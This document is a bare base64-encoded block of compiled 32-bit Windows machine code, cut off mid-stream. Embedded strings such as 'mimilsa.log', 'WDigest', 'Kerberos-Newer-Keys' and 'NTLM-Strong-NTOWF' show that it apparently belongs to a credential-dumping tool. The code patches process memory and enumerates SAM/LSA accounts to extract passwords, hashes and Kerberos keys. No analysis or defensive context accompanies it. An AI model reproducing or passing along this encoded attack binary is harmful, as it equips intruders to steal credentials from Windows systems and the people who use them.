CQkix1UpwcQjUQkRFD/02oAjUQkEIvWUGg84AgQi8/o6fT7/4PEDLgMaAgQg3wkDAAPRUQkDFCNRCQ8UP/TjUQkOFBo7DIKEOg6svv/jUQkSFBoFDMKEOgrsvv/agCNRCQgi9ZQaGw9CRCLz+ic9Pv/g8QchcB0L/90JAyNRCRMUP/TjUQkUFCNRCRMUP8VMKAHEIvwhfZ5c1ZoQDMKEOjjsfv/WetcagCNRCQQi9ZQaCzhCBCLz+hR9Pv/g8QMhcB0L4tMJAyNVCRQahDoF/H7/4vw995ZG/aB5pb//z+BxmoAAMB5Jf90JAxo4DMKEOutaIA0ChDoi7H7/8ZEJHUBM/ZZhfYPiFQCAABo9DQKEOhxsfv/agBqEFqNTCRY6JPx+/9o1K8IEOhZsfv/g8QMjUQkGGoAajFQjUQkRFD/FVClBxCFwA+I+gEAAIsdVKUHEIs9XKUHEI1EJDBQagGNRCQcUI1EJEBQ/3QkKP8VQKUHEIvwiXQkJIX2eRJWaEjzCRDo/rD7/1lZ6aMBAACDZCQMAIN8JDAAD4aNAQAAM/aLRCQUagGDwARowE0IEAPGUP8VWKcHEITAD4VSAQAAi0QkFIPABAPGUGgUNQoQ6LKw+/9ZWY1EJCBQi0QkGIPABAPGUP90JCD/FVilBxCFwA+IDgEAAGg8NQoQ6IWw+/+LTCQk6Cry+//HBCTUaQgQ6HCw+/9ZjUQkHFD/dCQkaAACAAD/dCQk/xU8pQcQhcAPiLkAAACNRCQsUI1EJBRQjUQkSFBqAf90JCz/FTilBxCFwA+IgQAAAItEJBD/MGhcNQoQ6Byw+/9ZWY1EJChQi0QkFP8waIAAAAD/dCQo/xVEpQcQhcB4No1EJFBQahL/dCQw/xVkpQcQhcB4DGiINQoQ6N2v+//rDFBo4DUKEOjQr/v/WVn/dCQo/9PrDVBoWDYKEOi7r/v/WVn/dCQQ/9f/dCQs/9frDVBowDYKEOigr/v/WVn/dCQc/9PrDVBoWPIJEOiLr/v/WVn/dCQg/9frDVBowPIJEOh2r/v/WVmLRCQMg8YMQIlEJAw7RCQwD4J5/v//i3QkJP90JBT/14H+BQEAAA+EGv7///90JBj/0+sZUGjY8wkQ6DWv+/9Z6wpoQPQJEOgor/v/WV9eM8Bbi+Vdw1WL7IPk+IPsdFMzycdEJEhguk/KVleLdQyNfCRxiEwkcDPAq4vWUYlMJDi7PgAAwIlMJBSriUwkLIlMJBDHRCRY3EZseqvHRCRcAzwXgcdEJGCUwD32ZquqjUQkNIt9CIvPUGjYdgkQ6Dfx+/+DxAyFwA+EfQQAAP90JDCNRCRMUP8VVKcHEGoAjUQkEIvWUGg84AgQi8/oCPH7/4PEDLgMaAgQg3wkDAAPRUQkDFCNRCREUP8VVKcHEI1EJEBQaOwyChDoVa77/41EJFBQaBQzChDoRq77/2oAjUQkIIvWUGi09AkQi8/ot/D7/4PEHIXAdC3/dCQMjUQkPFD/FVSnBxCNRCRgUI1EJDxQ/xUwoAcQi9iF23l/U2jQ9AkQ63BqAI1EJBCL1lBofPUJEIvP6G7w+/+DxAyFwHUnUI1EJBCL1lBojPUJEIvP6FPw+/+DxAyFwHUMaEj2CRDovK37/+szi0wkDI1UJGBqEOgN7fv/i9j321kb24Hjlv//P4HDagAAwHkQ/3QkDGiY9QkQ6Iit+/9ZWWoAjUQkEIvWUGjs9gkQi8/o9+/7/4PEDIXAdDH/dCQMjUQkPFD/FVSnBxCNRCRQUI1EJDxQ/xUwoAcQi/CF9g+JgQAAAFNoCPcJEOtyagCNRCQQi9ZQaLT3CRCLz+iq7/v/g8QMhcB1KVCNRCQQi9ZQaMT3CRCLz+iP7/v/g8QMhcB1DmiA+AkQ6Pis+/8z9uszi0wkDI1UJFBqEOhH7Pv/i/D33lkb9oHmlv//P4HGagAAwHkQ/3QkDGjQ9wkQ6MKs+/9ZWYXbD4iaAgAAhfYPiJICAABo/PgJEOimrPv/agBqEFqNTCRo6Mjs+/9oHPkJEOiOrPv/agBqEFqNTCRg6LDs+/9o1K8IEOh2rPv/g8QUjUQkGGoAajFQjUQkTFD/FVClBxCFwA+IIAIAAIsdVKUHEIs9XKUHEI1EJCxQagGNRCQcUI1EJEBQ/3QkKP8VQKUHEIvwiXQkMIX2eRJWaBj9CRDoG6z7/1lZ6ckBAACDZCQMAIN8JCwAD4azAQAAM/aLRCQUagGDwARowE0IEAPGUP8VWKcHEITAD4V4AQAAi0QkFIPABAPGUGgUNQoQ6M+r+/9ZWY1EJCBQi0QkGIPABAPGUP90JCD/FVilBxCFwA+INAEAAGg8NQoQ6KKr+/+LTCQk6Eft+//HBCTUaQgQ6I2r+/9ZjUQkHFD/dCQkaAACAAD/dCQk/xU8pQcQhcAPiN8AAACNRCQoUI1EJBRQjUQkUFBqAf90JCz/FTilBxCFwA+IpwAAAItEJBD/MGhcNQoQ6Dmr+/9ZWY1EJCRQi0QkFP8wakD/dCQo/xVEpQcQhcB4X41EJFBQjUQkZFBqAY1EJHxQUGoA/3QkPP8VSKUHEIXAeAxoQPkJEOjwqvv/6yg9agAAwHUHaIj5CRDr6z1sAADAdQdoEPoJEOvdUGiw+gkQ6Meq+/9ZWf90JCT/0+sNUGgw+wkQ6LKq+/9ZWf90JBD/1/90JCj/1+sNUGig+wkQ6Jeq+/9ZWf90JBz/0+sNUGgg/AkQ6IKq+/9ZWf90JCD/1+sNUGiQ/AkQ6G2q+/9ZWYtEJAyDxgxAiUQkDDtEJCwPglP+//+LdCQw/3QkFP/Xgf4FAQAAD4T0/f///3QkGP/T6xlQaKj9CRDoLKr7/1nrCmgQ/gkQ6B+q+/9ZX14zwFuL5V3DVYvsgeykAQAAVleDZfQAg2X4AMeFXP7//0MATADHhWD+//9FAEEAx4Vk/v//UgBUAMeFaP7//0UAWADHhWz+//9UAAAAM8CNvXD+//+rq6urq8eFhP7//1cARADHhYj+//9pAGcAx4WM/v//ZQBzAMeFkP7//3QAAABqBlkzwI29lP7///Orx4Ws/v//SwBlAMeFsP7//3IAYgDHhbT+//9lAHIAx4W4/v//bwBzAIOlvP7//wAzwI29wP7//6urq6urx4XU/v//SwBlAMeF2P7//3IAYgDHhdz+//9lAHIAx4Xg/v//bwBzAMeF5P7//y0ATgDHhej+//9lAHcAx4Xs/v//ZQByAMeF8P7//y0ASwDHhfT+//9lAHkAx4X4/v//cwAAAMeF/P7//04AVADHhQD///9MAE0Ax4UE////LQBTAMeFCP///3QAcgDHhQz///9vAG4Ax4UQ////ZwAtAMeFFP///04AVADHhRj///9PAFcAx4Uc////RgAAADPAiYUg////ahJYZolFtGoSWGaJRbaNhVz+//+JRbhqDlhmiUW8ag5YZolFvo2FhP7//4lFwGoQWGaJRcRqEFhmiUXGjYWs/v//iUXIaiZYZolFzGomWGaJRc6NhdT+//+JRdBqIlhmiUXUaiJYZolF1o2F/P7//4lF2GoBaAAAABCNRdxQagC4QUFBQf/QhcAPjBUEAACNReBQi0UIg8AgUGgAAAAQ/3XcuERERET/0IXAD4zoAwAAjUXwUItFCP9wGGgAAAAQ/3XguEVFRUX/0IXAD4y8AwAAg2X8AOsHi0X8QIlF/IN9/AYPg38CAABrRfwYg6QFOP///wBrRfwYg6QFKP///wBrRfwYi038iYwFJP///2tF/BjHhAU0////gAAAAIN9/AB0OmtF/BiNhAUo////UGtF/BiNhAU4////UItF/I1ExaxQ/3XwuENDQ0P/0GtN/BiJhA00////6coBAACNRfhQahX/dfC4RkZGRv/Qa038GImEDTT///9rRfwYg7wFNP///wAPjJ0BAACLRfgPtoDDAAAAhcB0D4tF+A+3gJAAAACJRezrBINl7ACLReyDwChrTfwYiYQNKP///2tF/Bj/tAUo////akC4TU1NTf/QiUXoa0X8GItN6ImMBTj///+DfegAD4QwAQAAi0X4D7aAwAAAAIXAdE6LRfgPt4CAAAAAg/gQdT+LRfiDuIQAAAAAdDNrRfwYi4QFOP///8ZAIQFqEItF+P+whAAAAGtF/BiLhAU4////g8AQULhMTExM/9CDxAyLRfgPtoDBAAAAhcB0SotF+A+3gIgAAACD+BB1O4tF+IO4jAAAAAB0L2tF/BiLhAU4////xkAgAWoQi0X4/7CMAAAAa0X8GP+0BTj///+4TExMTP/Qg8QMi0X4D7aAwwAAAIXAdG6LRfgPt4CQAAAAhcB0YItF+IO4lAAAAAB0VGtF/BiLhAU4////xkAjAWtF/BiLhAU4////i034D7eJkAAAAIlIJItF+A+3gJAAAABQi0X4/7CUAAAAa0X8GIuEBTj///+DwChQuExMTEz/0IPEDGoV/3X4uEdHR0f/0GtF/BiDvAU0////AHwta0X8GIO8BTj///8AdB9rRfwYg7wFKP///wB0EWtF/BiLTfQDjAUo////iU306XD9//+LRfSDwGiLTQiJQQxqBGgAMAAAi0UI/3AMagC4SkpKSv/QiUXki0UIi03kiUgQg33kAA+E4wAAAINl9ACLRQiLQBDHAAYAAACDZfwA6weLRfxAiUX8g338Bg+DvAAAAGtF/BiDvAU0////AA+MpQAAAGtF/BiDvAU4////AA+EgQAAAGtF/BiDvAUo////AHRzi0X0g8Boa038GImEDSz///9rRfwYjbQFJP///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